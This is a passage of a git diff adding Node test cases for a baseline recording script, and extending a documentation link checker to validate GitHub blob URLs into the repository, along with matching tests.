+  assert.equal(result.stderr, '');
+  assert.equal(activity(f), 'import\nrun\n');
+});
+
+test('distinguishes a missing world from an existing world with a missing dependency', async (t) => {
+  const missing = fixture(t, { config: "worldModule: 'fixtures/absent.ts'," });
+  const result = await run(missing);
+  assert.equal(result.status, 1);
+  assert.equal(result.stdout, '');
+  assert.equal(result.stderr, 'fixture world is missing: fixtures/absent.ts\n');
+  assert.equal(activity(missing), '');
+  const nested = fixture(t, {
+    world:
+      "import './nested-missing.js'; export function run() { return { value: 42 }; }",
+  });
+  const failure = await run(nested);
+  assert.equal(failure.status, 1);
+  assert.equal(failure.stdout, '');
+  assert.match(failure.stderr, /ERR_MODULE_NOT_FOUND/);
+  assert.match(failure.stderr, /nested-missing\.js/);
+  assert.doesNotMatch(failure.stderr, /fixture world is missing/);
+  assert.equal(activity(nested), '');
+});
+
+test('missing baseline prints an explicit write hint without creating a file', async (t) => {
+  const f = fixture(t, { committed: null });
+  const result = await run(f);
+  assert.equal(result.status, 1);
+  assert.equal(result.stdout, '');
+  assert.equal(
+    result.stderr,
+    'fixture baseline is missing: fixtures/baseline.ts\nrun `node scripts/record.mjs --write` to record the baseline\n',
+  );
+  assert.equal(existsSync(f.baselinePath), false);
+});
+
+test('a broken committed import retains its own error', async (t) => {
+  const f = fixture(t, {
+    committed: "import './baseline-dependency.js'; export const BASELINE = {};",
+  });
+  const result = await run(f);
+  assert.equal(result.status, 1);
+  assert.equal(result.stdout, '');
+  assert.match(result.stderr, /baseline-dependency\.js/);
+  assert.match(result.stderr, /ERR_MODULE_NOT_FOUND/);
+  assert.doesNotMatch(result.stderr, /baseline is missing/);
+});
+
+test('requires configured committed export presence even opposite undefined', async (t) => {
+  const f = fixture(t, {
+    value: 'undefined',
+    committed: 'export const OTHER = undefined;',
+  });
+  assertError(
+    await run(f),
+    "committed export 'BASELINE': missing own property",
+  );
+});
+
+for (const mode of ['--check', '--write']) {
+  for (const returned of [
+    '{}',
+    'Object.create({ value: undefined })',
+    'null',
+  ]) {
+    test(`${mode} requires an own derived key in ${returned}`, async (t) => {
+      const f = fixture(t, {
+        value: 'undefined',
+        world: `export function run() { return ${returned}; }`,
+      });
+      const before = readFileSync(f.baselinePath);
+      assertError(
+        await run(f, [mode]),
+        "derived key 'value': missing own property",
+      );
+      assert.deepEqual(readFileSync(f.baselinePath), before);
+    });
+  }
+}
+
+test('an extra unconfigured export remains outside comparison', async (t) => {
+  const f = fixture(t, {
+    committed:
+      'export const BASELINE = { answer: 42 }; export const OTHER = new Date();',
+  });
+  const result = await run(f);
+  assert.equal(result.status, 0, result.stderr);
+  assert.equal(result.stdout, matchOutput(f));
+});
+
+for (const [name, value, committed, differences] of [
+  [
+    'undefined key presence',
+    '{ key: undefined }',
+    '{}',
+    [
+      'value: committed keys [] / derived keys ["key"]',
+      'value.key: derived only undefined',
+    ],
+  ],
+  [
+    'comma keys',
+    '{ "a,b": undefined }',
+    '{ a: undefined, b: undefined }',
+    [
+      'value: committed keys ["a","b"] / derived keys ["a,b"]',
+      'value.a: committed only undefined',
+      'value.b: committed only undefined',
+      'value.a,b: derived only undefined',
+    ],
+  ],
+  [
+    'key ordering',
+    '{ b: 2, a: 1 }',
+    '{ a: 1, b: 2 }',
+    ['value: committed keys ["a","b"] / derived keys ["b","a"]'],
+  ],
+  ['negative zero', '-0', '0', ['value: committed 0 / derived -0']],
+  [
+    'prototype-named key presence',
+    '{ constructor: undefined, toString: undefined }',
+    '{}',
+    [
+      'value: committed keys [] / derived keys ["constructor","toString"]',
+      'value.constructor: derived only undefined',
+      'value.toString: derived only undefined',
+    ],
+  ],
+  [
+    'array length',
+    '[1, undefined]',
+    '[2]',
+    [
+      'value: committed 1 item(s) / derived 2 item(s)',
+      'value[0]: committed 2 / derived 1',
+      'value[1]: derived only undefined',
+    ],
+  ],
+  [
+    'committed array tail',
+    '[]',
+    '[null]',
+    [
+      'value: committed 1 item(s) / derived 0 item(s)',
+      'value[0]: committed only null',
+    ],
+  ],
+  [
+    'array versus map',
+    '{}',
+    '[]',
+    ['value: committed array(0) / derived object{}'],
+  ],
+  [
+    'composite versus primitive',
+    'null',
+    '[]',
+    ['value: committed array(0) / derived null'],
+  ],
+]) {
+  test(`structural comparison distinguishes ${name}`, async (t) => {
+    const f = fixture(t, {
+      value,
+      committed: `export const BASELINE = ${committed};`,
+    });
+    const before = readFileSync(f.baselinePath);
+    const result = await run(f);
+    assert.equal(result.status, 1, result.stderr);
+    assert.equal(result.stdout, '');
+    assert.equal(
+      result.stderr,
+      `fixture baseline drifted from fixtures/baseline.ts\n${differences.length} structural difference(s), committed vs re-derived from the unchanged world:\n${differences.map((line) => `  ${line}`).join('\n')}\n`,
+    );
+    assert.deepEqual(readFileSync(f.baselinePath), before);
+  });
+}
+
+const unsupported = [
+  ['date', 'new Date(0)', 'expected a plain map or ordinary array'],
+  ['map', 'new Map()', 'expected a plain map or ordinary array'],
+  ['set', 'new Set()', 'expected a plain map or ordinary array'],
+  [
+    'class',
+    'new (class Example {})()',
+    'expected a plain map or ordinary array',
+  ],
+  [
+    'array subclass',
+    'new (class Example extends Array {})()',
+    'expected a plain map or ordinary array',
+  ],
+  [
+    'typed array',
+    'new Uint8Array(0)',
+    'expected a plain map or ordinary array',
+  ],
+  ['function', '() => 1', "unsupported baseline value type 'function'"],
+  ['bigint', '1n', "unsupported baseline value type 'bigint'"],
+  ['symbol', 'Symbol("value")', "unsupported baseline value type 'symbol'"],
+  [
+    'cycle',
+    '(() => { const value = {}; value.self = value; return value; })()',
+    'cyclic baseline value',
+    '["self"]',
+  ],
+  ['sparse array', '[,]', 'expected a dense array without extra properties'],
+  [
+    'array extra',
+    'Object.assign([], { extra: 1 })',
+    'expected a dense array without extra properties',
+  ],
+  [
+    'array hole with extra',
+    'Object.assign(Array(1), { extra: 1 })',
+    'expected a dense array without extra properties',
+  ],
+  [
+    'accessor',
+    '({ get bad() { throw new Error("GETTER_EXECUTED"); } })',
+    'expected an enumerable data property',
+    '["bad"]',
+  ],
+  [
+    'non-enumerable',
+    'Object.defineProperty({}, "bad", { value: 1 })',
+    'expected an enumerable data property',
+    '["bad"]',
+  ],
+  [
+    'symbol property',
+    '({ [Symbol("bad")]: 1 })',
+    'symbol properties are unsupported',
+  ],
+  [
+    'array accessor',
+    'Object.defineProperty([1], "0", { get() { throw new Error("GETTER_EXECUTED"); } })',
+    'expected an enumerable data property',
+    '[0]',
+  ],
+  [
+    'array non-enumerable',
+    'Object.defineProperty([1], "0", { enumerable: false })',
+    'expected an enumerable data property',
+    '[0]',
+  ],
+];
+
+for (const [name, expression, message, suffix = ''] of unsupported) {
+  for (const side of ['derived check', 'derived write', 'committed check']) {
+    test(`${side} rejects nested ${name} before accepting or replacing the target`, async (t) => {
+      const derived = side.startsWith('derived');
+      const value = `({ nested: ${expression} })`;
+      const f = fixture(t, {
+        value: derived ? value : 'null',
+        committed: `export const BASELINE = ${derived ? 'null' : value};`,
+      });
+      const before = readFileSync(f.baselinePath);
+      const result = await run(f, [
+        side.endsWith('write') ? '--write' : '--check',
+      ]);
+      const location = derived
+        ? "derived key 'value'"
+        : "committed export 'BASELINE'";
+      assertError(result, `${location}["nested"]${suffix}: ${message}`);
+      assert.doesNotMatch(result.stderr, /^Error: GETTER_EXECUTED$/m);
+      assert.deepEqual(readFileSync(f.baselinePath), before);
+    });
+  }
+}
+
+test('rejects a configured key accessor without calling it', async (t) => {
+  const f = fixture(t, {
+    world:
+      'export function run() { return { get value() { throw new Error("GETTER_EXECUTED"); } }; }',
+  });
+  assertError(
+    await run(f, ['--write']),
+    "derived key 'value': expected an enumerable data property",
+  );
+});
+
+test('checks later declarations even after an earlier structural mismatch', async (t) => {
+  const f = fixture(t, {
+    value: 'null',
+    committed:
+      'export const BASELINE = 1; export const SECOND = { nested: new Map() };',
+    world: 'export function run() { return { value: null, second: null }; }',
+    config:
+      "exports: [{ name: 'BASELINE', key: 'value', satisfies: 'unknown' }, { name: 'SECOND', key: 'second', satisfies: 'unknown' }],",
+  });
+  assertError(
+    await run(f),
+    'committed export \'SECOND\'["nested"]: expected a plain map or ordinary array',
+  );
+});
+
+test('explicit repeated write preserves literal fidelity and world source with the installed formatter', async (t) => {
+  const value = `(() => {
+    const shared = Object.freeze({ value: undefined });
+    return { text: "quote' slash\\\\ newline\\n carriage\\r tab\\t", absent: undefined, nil: null,
+      yes: true, no: false, numbers: [-0, 0, NaN, Infinity, -Infinity, 1.25],
+      nested: [shared, shared], empty: Object.create(null),
+      map: Object.assign(Object.create(null), { key: undefined }),
+      ['__proto__']: { safe: true } };
+  })()`;
+  const f = fixture(t, {
+    value,
+    config:
+      "exports: [{ name: 'BASELINE', key: 'value', satisfies: 'unknown', jsDoc: '/** Preserve key presence. */' }, { name: 'SECOND', key: 'value', satisfies: 'unknown' }],",
+  });
+  const before = readFileSync(f.worldPath);
+  const written = await run(f, ['--write', '--write']);
+  assert.equal(written.status, 0, written.stderr);
+  assert.equal(written.stdout, 'wrote fixtures/baseline.ts: fixture summary\n');
+  assert.equal(written.stderr, '');
+  assert.equal(activity(f), 'import\nrun\n');
+  assert.deepEqual(readFileSync(f.worldPath), before);
+  const source = readFileSync(f.baselinePath, 'utf8');
+  assert.match(source, /GENERATED FILE\. DO NOT EDIT BY HAND\./);
+  assert.match(source, /\/\*\* Preserve key presence\. \*\//);
+  assert.doesNotMatch(source, /^undefined$/m);
+  assert.match(source, /\[['"]__proto__['"]\]/);
+  assert.match(source, /-0/);
+  const checked = await run(f);
+  assert.equal(checked.status, 0, checked.stderr);
+  assert.equal(checked.stdout, matchOutput(f));
+  assert.equal(checked.stderr, '');
+  const entry = put(
+    f.root,
+    'assert-generated.mjs',
+    `import assert from 'node:assert/strict';
+import { BASELINE } from './fixtures/baseline.ts';
+assert.equal(Object.hasOwn(BASELINE, '__proto__'), true);
+assert.deepEqual(BASELINE.__proto__, { safe: true });
+assert.equal(Object.getPrototypeOf(BASELINE), Object.prototype);
+assert.equal(Object.hasOwn(BASELINE, 'absent'), true);
+assert.equal(Object.hasOwn(BASELINE.map, 'key'), true);
+assert.equal(Object.is(BASELINE.numbers[0], -0), true);
+assert.equal(Number.isNaN(BASELINE.numbers[2]), true);
+assert.equal(BASELINE.numbers[3], Infinity);
+assert.equal(BASELINE.numbers[4], -Infinity);
+`,
+  );
+  const imported = await run(f, [], { entry });
+  assert.equal(imported.status, 0, imported.stderr);
+  assert.equal(imported.stdout + imported.stderr, '');
+});
+
+test('formatter nonzero status fails without a success message', {
+  skip: process.platform === 'win32',
+}, async (t) => {
+  const f = fixture(t);
+  const command = put(
+    f.root,
+    'bin/pnpm',
+    `#!${process.execPath}
+import { writeFileSync } from 'node:fs';
+writeFileSync(${JSON.stringify(join(f.root, 'formatter-call.json'))}, JSON.stringify({ cwd: process.cwd(), argv: process.argv.slice(2) }));
+process.stderr.write('FORMATTER_REFUSED\\n'); process.exitCode = 17;\n`,
+  );
+  chmodSync(command, 0o755);
+  const result = await run(f, ['--write'], {
+    env: { PATH: `${join(f.root, 'bin')}${delimiter}${process.env.PATH}` },
+  });
+  assertError(result, 'biome refused the generated baseline');
+  assert.ok(result.stderr.split('\n').includes('FORMATTER_REFUSED'));
+  assert.deepEqual(
+    JSON.parse(readFileSync(join(f.root, 'formatter-call.json'), 'utf8')),
+    {
+      cwd: f.root,
+      argv: ['exec', 'biome', 'check', '--write', f.baselinePath],
+    },
+  );
+});
+
+test('formatter spawn errors remain failures', async (t) => {
+  const f = fixture(t);
+  const result = await run(f, ['--write'], {
+    env: { PATH: join(f.root, 'missing-bin') },
+  });
+  assert.equal(result.status, 1);
+  assert.equal(result.stdout, '');
+  assert.match(result.stderr, /spawnSync pnpm(?:\.cmd)? ENOENT/);
+});
+
+test('unsupported later derived declarations cannot replace an earlier valid export', async (t) => {
+  const f = fixture(t, {
+    world: 'export function run() { return { value: 42, second: new Set() }; }',
+    config:
+      "exports: [{ name: 'BASELINE', key: 'value', satisfies: 'unknown' }, { name: 'SECOND', key: 'second', satisfies: 'unknown' }],",
+  });
+  const before = readFileSync(f.baselinePath);
+  assertError(
+    await run(f, ['--write']),
+    "derived key 'second': expected a plain map or ordinary array",
+  );
+  assert.deepEqual(readFileSync(f.baselinePath), before);
+});
+
+test('a non-enumerable configured key is refused', async (t) => {
+  const f = fixture(t, {
+    world:
+      'export function run() { return Object.defineProperty({}, "value", { value: 42 }); }',
+  });
+  assertError(
+    await run(f, ['--write']),
+    "derived key 'value': expected an enumerable data property",
+  );
+});
+
+test('drains a long usage diagnostic before returning status 2', async (t) => {
+  const argument = `--${'x'.repeat(64 * 1024)}`;
+  const f = fixture(t);
+  const result = await run(f, [argument], { flags: [] });
+  assert.equal(result.status, 2);
+  assert.equal(result.stdout, '');
+  assert.equal(
+    result.stderr,
+    `unknown argument '${argument}'\nusage: node scripts/record.mjs --check | --write\n`,
+  );
+  assert.equal(activity(f), '');
+});
+
+test('drains a long success summary through the transform parent', async (t) => {
+  const summary = `${'s'.repeat(256 * 1024)}FINAL_SUMMARY`;
+  const f = fixture(t, {
+    config: `summary: () => ${JSON.stringify(summary)},`,
+  });
+  const result = await run(f, ['--check'], { flags: [] });
+  assert.equal(result.status, 0, result.stderr);
+  assert.equal(
+    result.stdout,
+    `fixture baseline matches fixtures/baseline.ts: ${summary}\n`,
+  );
+  assert.equal(result.stderr, '');
+});
+
+test('writes valid TypeScript for scalar literals, undefined, null and nonfinite numbers', async (t) => {
+  const f = fixture(t, {
+    world: `export function run() { return { u: undefined, n: null, nan: NaN, pos: Infinity, neg: -Infinity, zero: -0, bool: false, text: 'ok' }; }`,
+    config: `exports: ['u', 'n', 'nan', 'pos', 'neg', 'zero', 'bool', 'text'].map(key => ({ name: key.toUpperCase(), key, satisfies: 'unknown' })),`,
+  });
+  const written = await run(f, ['--write']);
+  assert.equal(written.status, 0, written.stderr);
+  assert.equal(written.stderr, '');
+  const require = createRequire(
+    join(repositoryRoot, 'packages/fleet-control/package.json'),
+  );
+  const ts = require('typescript');
+  const program = ts.createProgram([f.baselinePath], {
+    strict: true,
+    noEmit: true,
+    types: [],
+  });
+  assert.deepEqual(
+    ts
+      .getPreEmitDiagnostics(program)
+      .map((diagnostic) =>
+        ts.flattenDiagnosticMessageText(diagnostic.messageText, '\n'),
+      ),
+    [],
+  );
+  const checked = await run(f);
+  assert.equal(checked.status, 0, checked.stderr);
+  assert.equal(checked.stdout, matchOutput(f));
+  assert.equal(checked.stderr, '');
+});
+
+test('installed formatter refusal propagates for invalid generated TypeScript', async (t) => {
+  const f = fixture(t, { config: "imports: 'import {'," });
+  const before = readFileSync(f.worldPath);
+  const result = await run(f, ['--write']);
+  assertError(result, 'biome refused the generated baseline');
+  assert.match(result.stderr, /parse/);
+  assert.deepEqual(readFileSync(f.worldPath), before);
+});
+
+test('string rendering preserves control characters, Unicode and lone surrogates', async (t) => {
+  const value =
+    'quotes \'" backslash \\ control \0\b\f\n\r\t\v Unicode \u2028\u2029 \u{1f680} lone \ud800 \udfff';
+  const f = fixture(t, { value: JSON.stringify(value) });
+  const written = await run(f, ['--write']);
+  assert.equal(written.status, 0, written.stderr);
+  assert.equal(written.stderr, '');
+  const checked = await run(f);
+  assert.equal(checked.status, 0, checked.stderr);
+  assert.equal(checked.stdout, matchOutput(f));
+  assert.equal(checked.stderr, '');
+});
+
+test('accepts a null-prototype derived container with an own undefined key', async (t) => {
+  const f = fixture(t, {
+    value: 'undefined',
+    world:
+      'export function run() { return Object.assign(Object.create(null), { value: undefined }); }',
+  });
+  const result = await run(f);
+  assert.equal(result.status, 0, result.stderr);
+  assert.equal(result.stdout, matchOutput(f));
+  assert.equal(result.stderr, '');
+});
diff --git a/scripts/build-api-docs.mjs b/scripts/build-api-docs.mjs
index 7a73c24d..2ececdbd 100644
--- a/scripts/build-api-docs.mjs
+++ b/scripts/build-api-docs.mjs
@@ -59,6 +59,7 @@ function convert(optionsFile, jsonFile, htmlDirectory, revision) {
     'typedoc',
     '--options',
     optionsFile,
+    '--treatWarningsAsErrors',
     '--json',
     jsonFile,
     '--out',
@@ -119,8 +120,8 @@ const temporaryDirectory = mkdtempSync(join(tmpdir(), 'anchorage-api-docs-'));
 const revision = gitRevision();
 
 try {
-  // Flowsafe too: the fleet-control pass typechecks against its dist, and
-  // this script must work on a tree where CI's Build step has not run.
+  // Flowsafe too: the fleet-control pass typechecks against Flowsafe's dist,
+  // and this script must work on a tree where CI's Build step has not run.
   run(pnpm, [
     '--filter',
     '@proofoftech/breakwater',
diff --git a/scripts/docs-check.mjs b/scripts/docs-check.mjs
index d18c28b1..30b4c22e 100644
--- a/scripts/docs-check.mjs
+++ b/scripts/docs-check.mjs
@@ -32,9 +32,11 @@ const INTERNAL_MILESTONE_PATTERN =
   /\b(?:CI-M-\d{3}(?:-\d{3})?|DL-\d{3}|INV-\d+|M-\d{3}|RA-\d{3}|[A-Z]-S\d+|R-[A-Z0-9][A-Z0-9-]*|[A-Z]-D\d+|D(?:[2-9]|\d{2,})|F\d+|P\d+(?:-lite)?|Track [A-Z]|Phase \d+)\b/g;
 const VOLATILE_COUNT_PATTERN =
   /(?<![\w.-])\d[\d,]*(?![.\d])\s+(?:tests?|test files?|packages?)\b/gi;
+const GITHUB_LINE_FRAGMENT_PATTERN = /^L\d+(?:C\d+)?(?:-L\d+(?:C\d+)?)?$/;
+const REPOSITORY_URL = 'https://github.com/ProofOfTechOrg/anchorage';
 const REQUIRED_PUBLIC_URLS = [
   'https://anchorage.proofoftech.org/',
-  'https://github.com/ProofOfTechOrg/anchorage',
+  REPOSITORY_URL,
   'https://www.npmjs.com/package/@proofoftech/breakwater',
   'https://www.npmjs.com/package/@proofoftech/flowsafe',
   'https://www.npmjs.com/package/@proofoftech/fleet-control',
@@ -253,11 +255,7 @@ function splitLocalTarget(target) {
   };
 }
 
-function resolveLocalTarget(root, sourceFile, target) {
-  const split = splitLocalTarget(target);
-  const candidate = split.path
-    ? resolve(dirname(sourceFile), split.path)
-    : sourceFile;
+function resolveAgainstRoot(root, split, candidate) {
   const relativeToRoot = relative(root, candidate);
   if (
     isAbsolute(relativeToRoot) ||
@@ -279,6 +277,63 @@ function resolveLocalTarget(root, sourceFile, target) {
   };
 }
 
+function resolveLocalTarget(root, sourceFile, target) {
+  const split = splitLocalTarget(target);
+  const candidate = split.path
+    ? resolve(dirname(sourceFile), split.path)
+    : sourceFile;
+  return resolveAgainstRoot(root, split, candidate);
+}
+
+// Link diagnostics shared by the absolute and relative branches. Each returns
+// its message or `undefined`, so a caller decides whether to stop at the
+// first.
+function localTargetError(resolved, target) {
+  if (resolved.outsideRoot) {
+    return `link escapes the repository: ${target}`;
+  }
+  if (!existsSync(resolved.path)) {
+    return `link target does not exist: ${target}`;
+  }
+  if (resolved.directoryWithoutReadme) {
+    return `linked directory has no README.md: ${target}`;
+  }
+  return undefined;
+}
+
+function internalFileError(root, sourceFile, resolved, target) {
+  const targetRelative = toPosix(relative(root, resolved.path));
+  if (
+    basename(sourceFile).toLowerCase() !== 'claude.md' &&
+    (basename(resolved.path).toLowerCase() === 'claude.md' ||
+      targetRelative.split('/').includes('.notes') ||
+      (!targetRelative.startsWith('docs/proposals/') &&
+        /(?:^|[-_])(?:plan|roadmap)(?:[-_.]|$)/i.test(basename(resolved.path))))
+  ) {
+    return `public documentation links to an internal file: ${target}`;
+  }
+  return undefined;
+}
+
+const REPOSITORY_BLOB_PREFIX = `${REPOSITORY_URL}/blob/main/`;
+
+// A copy-ready README cannot carry a relative link out of its package, so it
+// names such a file or heading through the permanent GitHub URL instead.
+// Resolve that URL back into this repository, with or without a fragment, and
+// report the first message `localTargetError`, `internalFileError` or
+// `absoluteAnchorError` returns. The package-boundary guard stays on the
+// relative branch, because a permanent GitHub URL is the remedy it prescribes.
+// A URL that does not match the prefix (another host, a `tree/` path, a
+// `blob/<sha>` pin) is left to the `--external` run, which fetches it and
+// fails on 404/410; that run cannot see a bad fragment, because GitHub answers
+// 200 for one.
+function repositoryBlobTarget(root, target) {
+  if (!target.startsWith(REPOSITORY_BLOB_PREFIX)) return undefined;
+  const split = splitLocalTarget(target.slice(REPOSITORY_BLOB_PREFIX.length));
+  if (!split.path) return undefined;
+  return resolveAgainstRoot(root, split, resolve(root, split.path));
+}
+
 function manifestFileIncludes(manifest, packageRelativePath) {
   if (
     packageRelativePath === 'package.json' ||
@@ -347,6 +402,28 @@ function checkLocalLinks(root, markdownFiles, manifests) {
     return result;
   };
 
+  // Shared by both link branches like the diagnostics above, but declared
+  // here because it reads the anchor cache. A link with no fragment has
+  // nothing to check.
+  const anchorError = (resolved) => {
+    if (
+      resolved.anchor &&
+      extname(resolved.path).toLowerCase() === '.md' &&
+      !anchorsFor(resolved.path).has(resolved.anchor)
+    ) {
+      return `Markdown anchor does not exist: #${resolved.anchor}`;
+    }
+    return undefined;
+  };
+
+  // A permanent GitHub URL can address a line or a line range with GitHub's
+  // own `#L12`, `#L12-L20` or column-qualified grammar, which names no
+  // Markdown heading.
+  const absoluteAnchorError = (resolved) =>
+    GITHUB_LINE_FRAGMENT_PATTERN.test(resolved.anchor ?? '')
+      ? undefined
+      : anchorError(resolved);
+
   for (const sourceFile of markdownFiles) {
     const markdown = readFileSync(sourceFile, 'utf8');
     const packageContext = shippedPackageContext(sourceFile, manifests);
@@ -379,6 +456,17 @@ function checkLocalLinks(root, markdownFiles, manifests) {
               `external URL is invalid: ${link.target}`,
             ),
           );
+          continue;
+        }
+        const inRepository = repositoryBlobTarget(root, link.target);
+        if (inRepository) {
+          const message =
+            localTargetError(inRepository, link.target) ??
+            internalFileError(root, sourceFile, inRepository, link.target) ??
+            absoluteAnchorError(inRepository);
+          if (message) {
+            errors.push(diagnostic(root, sourceFile, link.line, message));
+          }
         }
         continue;
       }
@@ -395,58 +483,20 @@ function checkLocalLinks(root, markdownFiles, manifests) {
       }
 
       const resolved = resolveLocalTarget(root, sourceFile, link.target);
-      if (resolved.outsideRoot) {
-        errors.push(
-          diagnostic(
-            root,
-            sourceFile,
-            link.line,
-            `link escapes the repository: ${link.target}`,
-          ),
-        );
-        continue;
-      }
-      if (!existsSync(resolved.path)) {
-        errors.push(
-          diagnostic(
-            root,
-            sourceFile,
-            link.line,
-            `link target does not exist: ${link.target}`,
-          ),
-        );
-        continue;
-      }
-      if (resolved.directoryWithoutReadme) {
-        errors.push(
-          diagnostic(
-            root,
-            sourceFile,
-            link.line,
-            `linked directory has no README.md: ${link.target}`,
-          ),
-        );
+      const targetError = localTargetError(resolved, link.target);
+      if (targetError) {
+        errors.push(diagnostic(root, sourceFile, link.line, targetError));
         continue;
       }
 
-      const targetRelative = toPosix(relative(root, resolved.path));
-      if (
-        basename(sourceFile).toLowerCase() !== 'claude.md' &&
-        (basename(resolved.path).toLowerCase() === 'claude.md' ||
-          targetRelative.split('/').includes('.notes') ||
-          (!targetRelative.startsWith('docs/proposals/') &&
-            /(?:^|[-_])(?:plan|roadmap)(?:[-_.]|$)/i.test(
-              basename(resolved.path),
-            )))
-      ) {
-        errors.push(
-          diagnostic(
-            root,
-            sourceFile,
-            link.line,
-            `public documentation links to an internal file: ${link.target}`,
-          ),
-        );
+      const internalError = internalFileError(
+        root,
+        sourceFile,
+        resolved,
+        link.target,
+      );
+      if (internalError) {
+        errors.push(diagnostic(root, sourceFile, link.line, internalError));
       }
 
       if (packageContext) {
@@ -468,19 +518,9 @@ function checkLocalLinks(root, markdownFiles, manifests) {
         }
       }
 
-      if (
-        resolved.anchor &&
-        extname(resolved.path).toLowerCase() === '.md' &&
-        !anchorsFor(resolved.path).has(resolved.anchor)
-      ) {
-        errors.push(
-          diagnostic(
-            root,
-            sourceFile,
-            link.line,
-            `Markdown anchor does not exist: #${resolved.anchor}`,
-          ),
-        );
+      const anchorMessage = anchorError(resolved);
+      if (anchorMessage) {
+        errors.push(diagnostic(root, sourceFile, link.line, anchorMessage));
       }
     }
   }
@@ -768,15 +808,15 @@ function markdownGraph(root, markdownFiles) {
   for (const sourceFile of markdownFiles) {
     const targets = new Set();
     for (const link of collectMarkdownLinks(readFileSync(sourceFile, 'utf8'))) {
+      if (!link.target || isIgnoredScheme(link.target)) continue;
+      // A permanent GitHub URL into this repository is an edge like a
+      // relative link, so reachability resolves it the way `checkLocalLinks`
+      // does.
+      const resolved = isExternal(link.target)
+        ? repositoryBlobTarget(root, link.target)
+        : resolveLocalTarget(root, sourceFile, link.target);
       if (
-        !link.target ||
-        isExternal(link.target) ||
-        isIgnoredScheme(link.target)
-      ) {
-        continue;
-      }
-      const resolved = resolveLocalTarget(root, sourceFile, link.target);
-      if (
+        resolved &&
         !resolved.outsideRoot &&
         existsSync(resolved.path) &&
         extname(resolved.path).toLowerCase() === '.md' &&
diff --git a/scripts/docs-check.test.mjs b/scripts/docs-check.test.mjs
index e745fd6b..27a3b05a 100644
--- a/scripts/docs-check.test.mjs
+++ b/scripts/docs-check.test.mjs
@@ -196,6 +196,230 @@ test('missing files, directory READMEs, and Markdown anchors fail', () => {
   );
 });
 
+test('relative links obey the internal-file policy', () => {
+  const root = fixture({
+    'docs/guide.md': `# Guide
+
+[Notes](../CLAUDE.md)
+[Plan](release-plan.md#target-heading)
+`,
+    'CLAUDE.md': '# Repository navigation\n',
+    'docs/release-plan.md': '# Target heading\n',
+  });
+
+  const result = checkRepository({
+    root,
+    markdownFiles: markdownFiles(root, [
+      'docs/guide.md',
+      'CLAUDE.md',
+      'docs/release-plan.md',
+    ]),
+    packageChecks: false,
+    orphanChecks: false,
+  });
+
+  assert.deepEqual(
+    result.errors.map((error) => error.message),
+    [
+      'public documentation links to an internal file: ../CLAUDE.md',
+      'public documentation links to an internal file: release-plan.md#target-heading',
+    ],
+  );
+});
+
+test('absolute repository links resolve target files and Markdown anchors', () => {
+  const root = fixture({
+    'packages/example/README.md': `# Example
+
+[Anchored](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#target-heading)
+[Whole file](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md)
+`,
+    'docs/guide.md': '# Target heading\n',
+  });
+
+  const result = checkRepository({
+    root,
+    markdownFiles: markdownFiles(root, [
+      'packages/example/README.md',
+      'docs/guide.md',
+    ]),
+    packageChecks: false,
+    orphanChecks: false,
+  });
+
+  assert.deepEqual(result.errors, []);
+});
+
+test('absolute repository links fail on a missing Markdown anchor', () => {
+  const root = fixture({
+    'packages/example/README.md': `# Example
+
+[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#absent)
+`,
+    'docs/guide.md': '# Target heading\n',
+  });
+
+  const result = checkRepository({
+    root,
+    markdownFiles: markdownFiles(root, [
+      'packages/example/README.md',
+      'docs/guide.md',
+    ]),
+    packageChecks: false,
+    orphanChecks: false,
+  });
+
+  assert.deepEqual(
+    result.errors.map((error) => error.message),
+    ['Markdown anchor does not exist: #absent'],
+  );
+});
+
+test('absolute repository links fail on a missing target file', () => {
+  const root = fixture({
+    'packages/example/README.md': `# Example
+
+[Anchored](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#target-heading)
+[Whole file](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md)
+`,
+  });
+
+  const result = checkRepository({
+    root,
+    markdownFiles: markdownFiles(root, ['packages/example/README.md']),
+    packageChecks: false,
+    orphanChecks: false,
+  });
+
+  assert.deepEqual(
+    result.errors.map((error) => error.message),
+    [
+      'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#target-heading',
+      'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md',
+    ],
+  );
+});
+
+test('absolute repository links fail on a path that escapes the repository', () => {
+  const outer = fixture({
+    'repo/packages/example/README.md': `# Example
+
+[Anchored](https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md#target-heading)
+[Whole file](https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md)
+`,
+    'outside.md': '# Target heading\n',
+  });
+  const root = join(outer, 'repo');
+
+  const result = checkRepository({
+    root,
+    markdownFiles: markdownFiles(root, ['packages/example/README.md']),
+    packageChecks: false,
+    orphanChecks: false,
+  });
+
+  assert.deepEqual(
+    result.errors.map((error) => error.message),
+    [
+      'link escapes the repository: https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md#target-heading',
+      'link escapes the repository: https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md',
+    ],
+  );
+});
+
+test('absolute repository links accept GitHub line fragments', () => {
+  const root = fixture({
+    'packages/example/README.md': `# Example
+
+[Line](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#L12)
+[Range](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#L12-L20)
+[Missing line](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#L12)
+`,
+    'docs/guide.md': '# Target heading\n',
+  });
+
+  const result = checkRepository({
+    root,
+    markdownFiles: markdownFiles(root, [
+      'packages/example/README.md',
+      'docs/guide.md',
+    ]),
+    packageChecks: false,
+    orphanChecks: false,
+  });
+
+  assert.deepEqual(
+    result.errors.map((error) => error.message),
+    [
+      'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#L12',
+    ],
+  );
+});
+
+test('reachability follows absolute repository links into the docs tree', () => {
+  const root = fixture({
+    'docs/README.md': `# Documentation
+
+[Guide](guide.md)
+`,
+    'docs/guide.md': `# Guide
+
+[Reference](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/reference.md)
+`,
+    'docs/reference.md': '# Reference\n',
+    'docs/unlinked.md': '# Unlinked\n',
+  });
+
+  const result = checkRepository({
+    root,
+    markdownFiles: markdownFiles(root, [
+      'docs/README.md',
